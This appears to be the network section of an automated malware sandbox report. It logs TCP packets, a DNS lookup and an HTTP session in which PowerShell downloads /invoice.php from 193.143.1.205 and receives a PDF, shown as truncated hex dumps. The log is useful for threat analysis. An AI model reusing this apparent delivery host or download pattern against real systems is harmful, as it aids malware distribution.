Jan 10, 2025 17:24:46.039320946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039333105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039333105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.039344072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039352894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.039355993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.039376974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054507017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054584026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054590940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054600954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054613113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054622889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054632902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054636955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054655075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054666042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054678917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054680109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054691076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054701090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054702997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054713011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054723978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054744005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054744959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054755926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054766893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054775953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054776907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054811001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054824114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054833889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054843903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054862976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054881096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054908037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054918051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054929018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054940939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054945946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.054949999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.054979086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088100910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088129997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088140965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088160992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088171005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088182926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088200092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088212013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088222980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088232994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088243961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088243008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088283062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088301897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088305950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088350058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088361025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088393927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088470936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088480949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088491917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088501930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088509083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088540077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088618040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088635921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088651896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088660955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088670015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088671923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088682890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088694096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088705063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088715076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088726044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088726997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088737965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088749886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088758945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088763952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088769913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088779926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088782072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088799953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088802099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088809967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088821888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088821888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088833094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088844061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088854074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088854074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088865042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088876009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088884115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088886976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088903904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088938951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088948965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088959932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088969946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.088979959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.088990927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.089004993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.089015961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.089025974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.089035988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.089037895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.089050055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.089054108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.089082003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.120841026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120908976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120919943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120932102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120943069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120955944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120965958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120974064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.120976925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.120997906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121011972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121027946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121076107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121115923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121126890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121145010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121185064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121196985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121207952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121220112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121238947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121244907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121256113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121265888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121277094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121284962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121289968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121299982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121311903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121316910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121326923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121342897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121359110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121366024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121428013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121462107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121470928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121483088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121495008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121505022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121519089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121521950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121532917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121536016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121567011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121598005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121608973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121619940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121630907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121642113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121651888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121665001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.121680975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121695042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.121695995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131599903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131613016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131633043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131652117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131661892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131669044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.131674051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131685019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131697893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.131700993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.131727934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.139887094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.143613100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.146955967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147010088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147022963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147032022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.147034883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147052050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147063971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147070885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.147083044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147094965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147099018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.147105932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147118092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147119999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.147128105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147140980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147145033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.147150993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.147173882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.147187948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.155623913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155700922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155710936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155721903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155734062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155744076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155750990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155755997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155771017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155781984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.155793905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.155834913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.155872107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.180555105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180589914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180600882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180613995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180624008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180643082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180644035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.180654049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180665970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180674076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.180676937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180687904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180689096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.180701971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.180708885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.180746078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.382612944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.547506094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.973820925 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.978668928 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:46.978769064 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.978910923 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:46.983669996 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:47.803637981 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:47.854394913 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:48.805391073 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:24:55.496304989 CET	57330	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:24:55.496304989 CET	192.168.2.8	1.1.1.1	0x7768	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:24:55.504107952 CET	1.1.1.1	192.168.2.8	0x7768	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	5360	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:24:44.516774893 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:24:45.320672035 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:24:45 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:24:45.320696115 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:24:45.320708036 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:24:45.320717096 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 17:24:45.320728064 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 17:24:45.320738077 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 17:24:45.320748091 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
